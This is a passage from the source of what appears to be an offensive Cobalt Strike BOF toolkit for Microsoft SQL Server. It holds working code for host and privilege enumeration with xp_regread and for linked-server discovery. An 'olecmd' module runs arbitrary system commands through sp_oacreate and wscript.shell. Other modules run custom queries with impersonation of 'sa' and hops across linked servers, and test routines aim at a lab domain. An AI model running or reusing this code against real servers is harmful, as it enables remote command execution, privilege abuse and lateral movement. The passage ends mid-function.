CONVERT(VARCHAR(255), SERVERPROPERTY('productversion'));"; 246 | if (!ExecuteQuery(stmt, query)) 247 | { 248 | goto END; 249 | } 250 | info.SqlServerVersionNumber = GetSingleResult(stmt, FALSE); 251 | ODBC32$SQLCloseCursor(stmt); 252 | 253 | // 254 | // 11th query - SqlServerMajorVersion 255 | // 256 | query = (SQLCHAR*)"SELECT SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4);"; 257 | if (!ExecuteQuery(stmt, query)) 258 | { 259 | goto END; 260 | } 261 | info.SqlServerMajorVersion = GetSingleResult(stmt, FALSE); 262 | ODBC32$SQLCloseCursor(stmt); 263 | 264 | // 265 | // 12th query - SqlServerEdition 266 | // 267 | query = (SQLCHAR*)"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('Edition'));"; 268 | if (!ExecuteQuery(stmt, query)) 269 | { 270 | goto END; 271 | } 272 | info.SqlServerEdition = GetSingleResult(stmt, FALSE); 273 | ODBC32$SQLCloseCursor(stmt); 274 | 275 | // 276 | // 12th query - SqlServerServicePack 277 | // 278 | query = (SQLCHAR*)"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('ProductLevel'));"; 279 | if (!ExecuteQuery(stmt, query)) 280 | { 281 | goto END; 282 | } 283 | info.SqlServerServicePack = GetSingleResult(stmt, FALSE); 284 | ODBC32$SQLCloseCursor(stmt); 285 | 286 | // 287 | // 13th query - OsArchitecture 288 | // 289 | query = (SQLCHAR*)"SELECT SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3);"; 290 | if (!ExecuteQuery(stmt, query)) 291 | { 292 | goto END; 293 | } 294 | info.OsArchitecture = GetSingleResult(stmt, FALSE); 295 | ODBC32$SQLCloseCursor(stmt); 296 | 297 | // 298 | // 14th query - OsMachineType 299 | // 300 | if (info.IsSysAdmin) 301 | { 302 | query = (SQLCHAR*)"DECLARE @MachineType SYSNAME\n" 303 | "EXECUTE master.dbo.xp_regread\n" 304 | "@rootkey = N'HKEY_LOCAL_MACHINE',\n" 305 | "@key = N'SYSTEM\\CurrentControlSet\\Control\\ProductOptions',\n" 306 | "@value_name = N'ProductType',\n" 307 | "@value = @MachineType output\n" 308 | "SELECT @MachineType;"; 309 | if (!ExecuteQuery(stmt, query)) 310 | { 311 | goto END; 312 | } 313 | info.OsMachineType = GetSingleResult(stmt, FALSE); 314 | ODBC32$SQLCloseCursor(stmt); 315 | } 316 | 317 | // 318 | // 15th query - OsVersion 319 | // 320 | if (info.IsSysAdmin) 321 | { 322 | query = (SQLCHAR*)"DECLARE @ProductName SYSNAME\n" 323 | "EXECUTE master.dbo.xp_regread\n" 324 | "@rootkey = N'HKEY_LOCAL_MACHINE',\n" 325 | "@key = N'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion',\n" 326 | "@value_name = N'ProductName',\n" 327 | "@value = @ProductName output\n" 328 | "SELECT @ProductName;"; 329 | if (!ExecuteQuery(stmt, query)) 330 | { 331 | goto END; 332 | } 333 | info.OsVersion = GetSingleResult(stmt, FALSE); 334 | ODBC32$SQLCloseCursor(stmt); 335 | } 336 | 337 | // 338 | // 16th query - OsVersionNumber 339 | // 340 | query = (SQLCHAR*)"SELECT RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows Server', @@VERSION), 19), 4);"; 341 | if (!ExecuteQuery(stmt, query)) 342 | { 343 | goto END; 344 | } 345 | info.OsVersionNumber = GetSingleResult(stmt, FALSE); 346 | ODBC32$SQLCloseCursor(stmt); 347 | 348 | // 349 | // 17th query - CurrentLogin 350 | // 351 | query = (SQLCHAR*)"SELECT SYSTEM_USER;"; 352 | if (!ExecuteQuery(stmt, query)) 353 | { 354 | goto END; 355 | } 356 | info.CurrentLogin = GetSingleResult(stmt, FALSE); 357 | ODBC32$SQLCloseCursor(stmt); 358 | 359 | // 360 | // 18th query - ActiveSessions 361 | // 362 | query = (SQLCHAR*)"SELECT COUNT(*) FROM [sys].[dm_exec_sessions] WHERE status = 'running';"; 363 | if (!ExecuteQuery(stmt, query)) 364 | { 365 | goto END; 366 | } 367 | info.ActiveSessions = GetSingleResult(stmt, FALSE); 368 | 369 | 370 | 371 | // 372 | // print all the results 373 | // 374 | internal_printf("%-30s: %s\n", " |--> ComputerName", info.ComputerName); 375 | internal_printf("%-30s: %s\n", " |--> DomainName", info.DomainName); 376 | internal_printf("%-30s: %s\n", " |--> ServicePid", info.ServicePid); 377 | internal_printf("%-30s: %s\n", " |--> ServiceName", info.ServiceName); 378 | internal_printf("%-30s: %s\n", " |--> ServiceAccount", info.ServiceAccount); 379 | internal_printf("%-30s: %s\n", " |--> AuthenticationMode", info.AuthenticationMode); 380 | internal_printf("%-30s: %s\n", " |--> ForcedEncryption", info.ForcedEncryption); 381 | internal_printf("%-30s: %s\n", " |--> Clustered", info.Clustered); 382 | internal_printf("%-30s: %s\n", " |--> SqlServerVersionNumber", info.SqlServerVersionNumber); 383 | internal_printf("%-30s: %s\n", " |--> SqlServerMajorVersion", info.SqlServerMajorVersion); 384 | internal_printf("%-30s: %s\n", " |--> SqlServerEdition", info.SqlServerEdition); 385 | internal_printf("%-30s: %s\n", " |--> SqlServerServicePack", info.SqlServerServicePack); 386 | internal_printf("%-30s: %s\n", " |--> OsArchitecture", info.OsArchitecture); 387 | 388 | if (info.IsSysAdmin) 389 | { 390 | internal_printf("%-30s: %s\n", " |--> OsMachineType", info.OsMachineType); 391 | internal_printf("%-30s: %s\n", " |--> OsVersion", info.OsVersion); 392 | } 393 | 394 | internal_printf("%-30s: %s\n", " |--> OsVersionNumber", info.OsVersionNumber); 395 | internal_printf("%-30s: %s\n", " |--> CurrentLogin", info.CurrentLogin); 396 | internal_printf("%-30s: %s\n", " |--> IsSysAdmin", info.IsSysAdmin ? "True" : "False"); 397 | internal_printf("%-30s: %s\n", " |--> ActiveSessions", info.ActiveSessions); 398 | 399 | END: 400 | FreeSqlInfo(&info); 401 | ODBC32$SQLCloseCursor(stmt); 402 | DisconnectSqlServer(env, dbc, stmt); 403 | } 404 | 405 | 406 | #ifdef BOF 407 | VOID go( 408 | IN PCHAR Buffer, 409 | IN ULONG Length 410 | ) 411 | { 412 | char* server = NULL; 413 | char* database = NULL; 414 | 415 | // 416 | // parse beacon args 417 | // 418 | datap parser; 419 | BeaconDataParse(&parser, Buffer, Length); 420 | server = BeaconDataExtract(&parser, NULL); 421 | database = BeaconDataExtract(&parser, NULL); 422 | 423 | server = *server == 0 ? "localhost" : server; 424 | database = *database == 0 ? "master" : database; 425 | 426 | if(!bofstart()) 427 | { 428 | return; 429 | } 430 | 431 | GetSQLInfo(server, database); 432 | 433 | printoutput(TRUE); 434 | }; 435 | 436 | #else 437 | 438 | int main() 439 | { 440 | internal_printf("============ BASE TEST ============\n\n"); 441 | GetSQLInfo("castelblack.north.sevenkingdoms.local", "master"); 442 | } 443 | 444 | #endif 445 | -------------------------------------------------------------------------------- /src/SQL/links/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := links 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/links/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CheckLinks(char* server, char* database, char* link, char* impersonate) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | 13 | 14 | if (link == NULL) 15 | { 16 | dbc = ConnectToSqlServer(&env, server, database); 17 | } 18 | else 19 | { 20 | dbc = ConnectToSqlServer(&env, server, NULL); 21 | } 22 | 23 | if (dbc == NULL) { 24 | goto END; 25 | } 26 | 27 | if (link == NULL) 28 | { 29 | internal_printf("[*] Enumerating linked servers on %s\n\n", server); 30 | } 31 | else 32 | { 33 | internal_printf("[*] Enumerating linked servers on %s via %s\n\n", link, server); 34 | } 35 | 36 | 37 | // 38 | // allocate statement handle 39 | // 40 | ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 41 | 42 | // 43 | // Run the query 44 | // 45 | SQLCHAR* query = (SQLCHAR*)"SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;"; 46 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)){ 47 | goto END; 48 | } 49 | PrintQueryResults(stmt, TRUE); 50 | 51 | END: 52 | ODBC32$SQLCloseCursor(stmt); 53 | DisconnectSqlServer(env, dbc, stmt); 54 | } 55 | 56 | 57 | #ifdef BOF 58 | VOID go( 59 | IN PCHAR Buffer, 60 | IN ULONG Length 61 | ) 62 | { 63 | char* server; 64 | char* database; 65 | char* link; 66 | char* impersonate; 67 | 68 | // 69 | // parse beacon args 70 | // 71 | datap parser; 72 | BeaconDataParse(&parser, Buffer, Length); 73 | 74 | server = BeaconDataExtract(&parser, NULL); 75 | database = BeaconDataExtract(&parser, NULL); 76 | link = BeaconDataExtract(&parser, NULL); 77 | impersonate = BeaconDataExtract(&parser, NULL); 78 | 79 | server = *server == 0 ? "localhost" : server; 80 | database = *database == 0 ? "master" : database; 81 | link = *link == 0 ? NULL : link; 82 | impersonate = *impersonate == 0 ? NULL : impersonate; 83 | 84 | if(!bofstart()) 85 | { 86 | return; 87 | } 88 | 89 | if (UsingLinkAndImpersonate(link, impersonate)) 90 | { 91 | return; 92 | } 93 | 94 | CheckLinks(server, database, link, impersonate); 95 | 96 | printoutput(TRUE); 97 | }; 98 | 99 | #else 100 | 101 | int main() 102 | { 103 | internal_printf("============ BASE TEST ============\n\n"); 104 | CheckLinks("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 105 | 106 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 107 | CheckLinks("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 108 | 109 | internal_printf("\n\n============ LINK TEST ============\n\n"); 110 | CheckLinks("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 111 | } 112 | 113 | #endif 114 | -------------------------------------------------------------------------------- /src/SQL/olecmd/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := olecmd 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/olecmd/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | #include "sql_modules.c" 6 | 7 | 8 | void ExecuteOleCmd(char* server, char* database, char* link, char* impersonate, char* command) 9 | { 10 | SQLHENV env = NULL; 11 | SQLHSTMT stmt = NULL; 12 | SQLHDBC dbc = NULL; 13 | SQLRETURN ret; 14 | char* query; 15 | size_t totalSize; 16 | 17 | 18 | if (link == NULL) 19 | { 20 | dbc = ConnectToSqlServer(&env, server, database); 21 | } 22 | else 23 | { 24 | dbc = ConnectToSqlServer(&env, server, NULL); 25 | } 26 | 27 | if (dbc == NULL) { 28 | goto END; 29 | } 30 | 31 | // 32 | // allocate statement handle 33 | // 34 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 35 | if (!SQL_SUCCEEDED(ret)) 36 | { 37 | internal_printf("[!] Error allocating statement handle\n"); 38 | goto END; 39 | } 40 | 41 | // 42 | // verify that OLE Automation Procedures is enabled 43 | // 44 | if (IsModuleEnabled(stmt, "OLE Automation Procedures", link, impersonate)) 45 | { 46 | internal_printf("[*] OLE Automation Procedures is enabled\n"); 47 | } 48 | else 49 | { 50 | internal_printf("[!] OLE Automation Procedures is not enabled\n"); 51 | goto END; 52 | } 53 | 54 | // 55 | // clear the cursor 56 | // 57 | ODBC32$SQLCloseCursor(stmt); 58 | 59 | // 60 | // if using linked server, ensure rpc is enabled 61 | // 62 | if (link != NULL) 63 | { 64 | if (IsRpcEnabled(stmt, link)) 65 | { 66 | internal_printf("[*] RPC out is enabled\n"); 67 | } 68 | else 69 | { 70 | internal_printf("[!] RPC out is not enabled\n"); 71 | goto END; 72 | } 73 | 74 | // 75 | // close the cursor 76 | // 77 | ODBC32$SQLCloseCursor(stmt); 78 | } 79 | 80 | internal_printf("[*] Executing system command...\n\n"); 81 | 82 | InitRandomSeed(); 83 | char* output = GenerateRandomString(8); 84 | char* program = GenerateRandomString(8); 85 | 86 | internal_printf("[*] Setting sp_oacreate to \"%s\"\n", output); 87 | internal_printf("[*] Setting sp_oamethod to \"%s\"\n", program); 88 | 89 | char* linkPrefix = "SELECT 1; "; 90 | char* part1 = "DECLARE @"; // followed by output 91 | char* part2 = " INT; DECLARE @"; //followed by program 92 | char* part3 = " VARCHAR(255); SET @"; //followed by program 93 | char* part4 = " = 'Run(\""; //followed by command 94 | char* part5 = "\")'; EXEC sp_oacreate 'wscript.shell', @"; //followed by output 95 | char* part6 = " out; EXEC sp_oamethod @"; //followed by output 96 | char* part7 = ", @"; //followed by program 97 | char* part8 = "; EXEC sp_oadestroy @"; //followed by output 98 | char* part9 = ";"; 99 | 100 | // 101 | // build the query string 102 | // 103 | if (link == NULL) 104 | { 105 | totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(output) + MSVCRT$strlen(part2) + MSVCRT$strlen(program) + MSVCRT$strlen(part3) + MSVCRT$strlen(program) + MSVCRT$strlen(part4) + MSVCRT$strlen(command) + MSVCRT$strlen(part5) + MSVCRT$strlen(output) + MSVCRT$strlen(part6) + MSVCRT$strlen(output) + MSVCRT$strlen(part7) + MSVCRT$strlen(program) + MSVCRT$strlen(part8) + MSVCRT$strlen(output) + MSVCRT$strlen(part9) + 1; 106 | query = (char*)intAlloc(totalSize * sizeof(char)); 107 | 108 | MSVCRT$strcpy(query, part1); 109 | } 110 | else 111 | { 112 | totalSize = MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(part1) + MSVCRT$strlen(output) + MSVCRT$strlen(part2) + MSVCRT$strlen(program) + MSVCRT$strlen(part3) + MSVCRT$strlen(program) + MSVCRT$strlen(part4) + MSVCRT$strlen(command) + MSVCRT$strlen(part5) + MSVCRT$strlen(output) + MSVCRT$strlen(part6) + MSVCRT$strlen(output) + MSVCRT$strlen(part7) + MSVCRT$strlen(program) + MSVCRT$strlen(part8) + MSVCRT$strlen(output) + MSVCRT$strlen(part9) + 1; 113 | query = (char*)intAlloc(totalSize * sizeof(char)); 114 | 115 | MSVCRT$strcpy(query, linkPrefix); 116 | MSVCRT$strncat(query, part1, totalSize - MSVCRT$strlen(query) - 1); 117 | } 118 | 119 | MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1); 120 | MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1); 121 | MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1); 122 | MSVCRT$strncat(query, part3, totalSize - MSVCRT$strlen(query) - 1); 123 | MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1); 124 | MSVCRT$strncat(query, part4, totalSize - MSVCRT$strlen(query) - 1); 125 | MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1); 126 | MSVCRT$strncat(query, part5, totalSize - MSVCRT$strlen(query) - 1); 127 | MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1); 128 | MSVCRT$strncat(query, part6, totalSize - MSVCRT$strlen(query) - 1); 129 | MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1); 130 | MSVCRT$strncat(query, part7, totalSize - MSVCRT$strlen(query) - 1); 131 | MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1); 132 | MSVCRT$strncat(query, part8, totalSize - MSVCRT$strlen(query) - 1); 133 | MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1); 134 | MSVCRT$strncat(query, part9, totalSize - MSVCRT$strlen(query) - 1); 135 | 136 | 137 | // 138 | // Run the query 139 | // 140 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 141 | goto END; 142 | } 143 | 144 | internal_printf("[*] Command executed\n"); 145 | internal_printf("[*] Destoryed \"%s\" and \"%s\"\n", output, program); 146 | 147 | END: 148 | if (output != NULL) intFree(output); 149 | if (program != NULL) intFree(program); 150 | if (query != NULL) intFree(query); 151 | 152 | ODBC32$SQLCloseCursor(stmt); 153 | DisconnectSqlServer(env, dbc, stmt); 154 | } 155 | 156 | 157 | #ifdef BOF 158 | VOID go( 159 | IN PCHAR Buffer, 160 | IN ULONG Length 161 | ) 162 | { 163 | char* server; 164 | char* database; 165 | char* link; 166 | char* impersonate; 167 | char* command; 168 | 169 | // 170 | // parse beacon args 171 | // 172 | datap parser; 173 | BeaconDataParse(&parser, Buffer, Length); 174 | 175 | server = BeaconDataExtract(&parser, NULL); 176 | database = BeaconDataExtract(&parser, NULL); 177 | link = BeaconDataExtract(&parser, NULL); 178 | impersonate = BeaconDataExtract(&parser, NULL); 179 | command = BeaconDataExtract(&parser, NULL); 180 | 181 | server = *server == 0 ? "localhost" : server; 182 | database = *database == 0 ? "master" : database; 183 | link = *link == 0 ? NULL : link; 184 | impersonate = *impersonate == 0 ? NULL : impersonate; 185 | 186 | if(!bofstart()) 187 | { 188 | return; 189 | } 190 | 191 | if (UsingLinkAndImpersonate(link, impersonate)) 192 | { 193 | return; 194 | } 195 | 196 | ExecuteOleCmd(server, database, link, impersonate, command); 197 | 198 | printoutput(TRUE); 199 | }; 200 | 201 | #else 202 | 203 | int main() 204 | { 205 | internal_printf("============ BASE TEST ============\n\n"); 206 | ExecuteOleCmd("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "cmd.exe /c dir \\\\10.2.99.1\\c$"); 207 | 208 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 209 | ExecuteOleCmd("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "cmd.exe /c dir \\\\10.2.99.1\\c$"); 210 | 211 | internal_printf("\n\n============ LINK TEST ============\n\n"); 212 | ExecuteOleCmd("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "cmd.exe /c dir \\\\10.2.99.1\\c$"); 213 | } 214 | 215 | #endif 216 | -------------------------------------------------------------------------------- /src/SQL/query/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := query 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/query/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CustomQuery(char* server, char* database, char* link, char* impersonate, char* query) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | SQLRETURN ret; 13 | 14 | 15 | if (link == NULL) 16 | { 17 | dbc = ConnectToSqlServer(&env, server, database); 18 | } 19 | else 20 | { 21 | dbc = ConnectToSqlServer(&env, server, NULL); 22 | } 23 | 24 | if (dbc == NULL) { 25 | goto END; 26 | } 27 | 28 | if (link == NULL) 29 | { 30 | internal_printf("[*] Executing custom query on %s\n\n", server); 31 | } 32 | else 33 | { 34 | internal_printf("[*] Executing custom query on %s via %s\n\n", link, server); 35 | } 36 | 37 | 38 | // 39 | // allocate statement handle 40 | // 41 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 42 | if (!SQL_SUCCEEDED(ret)) 43 | { 44 | internal_printf("[!] Error allocating statement handle\n"); 45 | goto END; 46 | } 47 | 48 | // 49 | // Run the query 50 | // 51 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)){ 52 | goto END; 53 | } 54 | PrintQueryResults(stmt, TRUE); 55 | 56 | END: 57 | ODBC32$SQLCloseCursor(stmt); 58 | DisconnectSqlServer(env, dbc, stmt); 59 | } 60 | 61 | 62 | #ifdef BOF 63 | VOID go( 64 | IN PCHAR Buffer, 65 | IN ULONG Length 66 | ) 67 | { 68 | char* server; 69 | char* database; 70 | char* link; 71 | char* impersonate; 72 | char* query; 73 | 74 | // 75 | // parse beacon args 76 | // 77 | datap parser; 78 | BeaconDataParse(&parser, Buffer, Length); 79 | 80 | server = BeaconDataExtract(&parser, NULL); 81 | database = BeaconDataExtract(&parser, NULL); 82 | link = BeaconDataExtract(&parser, NULL); 83 | impersonate = BeaconDataExtract(&parser, NULL); 84 | query = BeaconDataExtract(&parser, NULL); 85 | 86 | server = *server == 0 ? "localhost" : server; 87 | database = *database == 0 ? "master" : database; 88 | link = *link == 0 ? NULL : link; 89 | impersonate = *impersonate == 0 ? NULL : impersonate; 90 | 91 | if(!bofstart()) 92 | { 93 | return; 94 | } 95 | 96 | if (UsingLinkAndImpersonate(link, impersonate)) 97 | { 98 | return; 99 | } 100 | 101 | if (query == NULL) 102 | { 103 | return; 104 | } 105 | 106 | CustomQuery(server, database, link, impersonate, query); 107 | 108 | printoutput(TRUE); 109 | }; 110 | 111 | #else 112 | 113 | int main() 114 | { 115 | internal_printf("============ BASE TEST ============\n\n"); 116 | CustomQuery("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "SELECT name, database_id FROM sys.databases;"); 117 | 118 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 119 | CustomQuery("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "SELECT name, database_id FROM sys.databases;"); 120 | 121 | internal_printf("\n\n============ LINK TEST ============\n\n"); 122 | CustomQuery("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "SELECT name, database_id FROM sys.databases;"); 123 | } 124 | 125 | #endif 126 | -------------------------------------------------------------------------------- /src/SQL/rows/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := rows 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | test: 15 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 16 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 17 | 18 | test_goad: 19 | $(MAKE) test 20 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 21 | 22 | scanbuild: 23 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 24 | 25 | check: 26 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 27 | 28 | clean: 29 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/rows/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "bofdefs.h" 3 | #include "base.c" 4 | #include "sql.c" 5 | 6 | 7 | void CheckTableRows(char* server, char* database, char* link, char* impersonate, char* table) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | char* useStmt = NULL; 13 | char* query = NULL; 14 | char* schema = NULL; 15 | SQLRETURN ret; 16 | 17 | 18 | if (link == NULL) 19 | { 20 | dbc = ConnectToSqlServer(&env, server, database); 21 | } 22 | else 23 | { 24 | dbc = ConnectToSqlServer(&env, server, NULL); 25 | } 26 | 27 | if (dbc == NULL) { 28 | goto END; 29 | } 30 | 31 | if (link == NULL) 32 | { 33 | internal_printf("[*] Getting row count from table %s in %s on %s\n\n", table, database, server); 34 | } 35 | else 36 | { 37 | internal_printf("[*] Getting row count from table %s in %s on %s via %s\n\n", table, database, link, server); 38 | } 39 | 40 | 41 | // 42 | // allocate statement handle 43 | // 44 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 45 | if (!SQL_SUCCEEDED(ret)) 46 | { 47 | internal_printf("[!] Error allocating statement handle\n"); 48 | goto END; 49 | } 50 | 51 | // 52 | // Construct USE database statement 53 | // 54 | char* dbPrefix = "USE "; 55 | char* dbSuffix = "; "; 56 | char* tablePrefix = "SELECT COUNT(*) as row_count FROM "; 57 | char* tableSuffix = ";"; 58 | 59 | if (link == NULL) 60 | { 61 | // 62 | // Not using link; need to execute two queries 63 | // 64 | size_t useStmtSize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(dbSuffix) + 1; 65 | useStmt = (char*)intAlloc(useStmtSize * sizeof(char)); 66 | 67 | MSVCRT$strcpy(useStmt, dbPrefix); 68 | MSVCRT$strncat(useStmt, database, useStmtSize - MSVCRT$strlen(useStmt) - 1); 69 | MSVCRT$strncat(useStmt, dbSuffix, useStmtSize - MSVCRT$strlen(useStmt) - 1); 70 | 71 | if (!HandleQuery(stmt, (SQLCHAR*)useStmt, link, impersonate, TRUE)){ 72 | goto END; 73 | } 74 | 75 | // 76 | // leave cursor open 77 | // 78 | 79 | // 80 | // Construct query 81 | // 82 | size_t totalSize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1; 83 | query = (char*)intAlloc(totalSize * sizeof(char)); 84 | 85 | MSVCRT$strcpy(query, tablePrefix); 86 | MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1); 87 | MSVCRT$strncat(query, tableSuffix, totalSize - MSVCRT$strlen(query) - 1); 88 | 89 | // 90 | // Run the query 91 | // 92 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 93 | goto END; 94 | } 95 | 96 | PrintQueryResults(stmt, TRUE); 97 | } 98 | else 99 | { 100 | char* sep = "."; 101 | 102 | // 103 | // 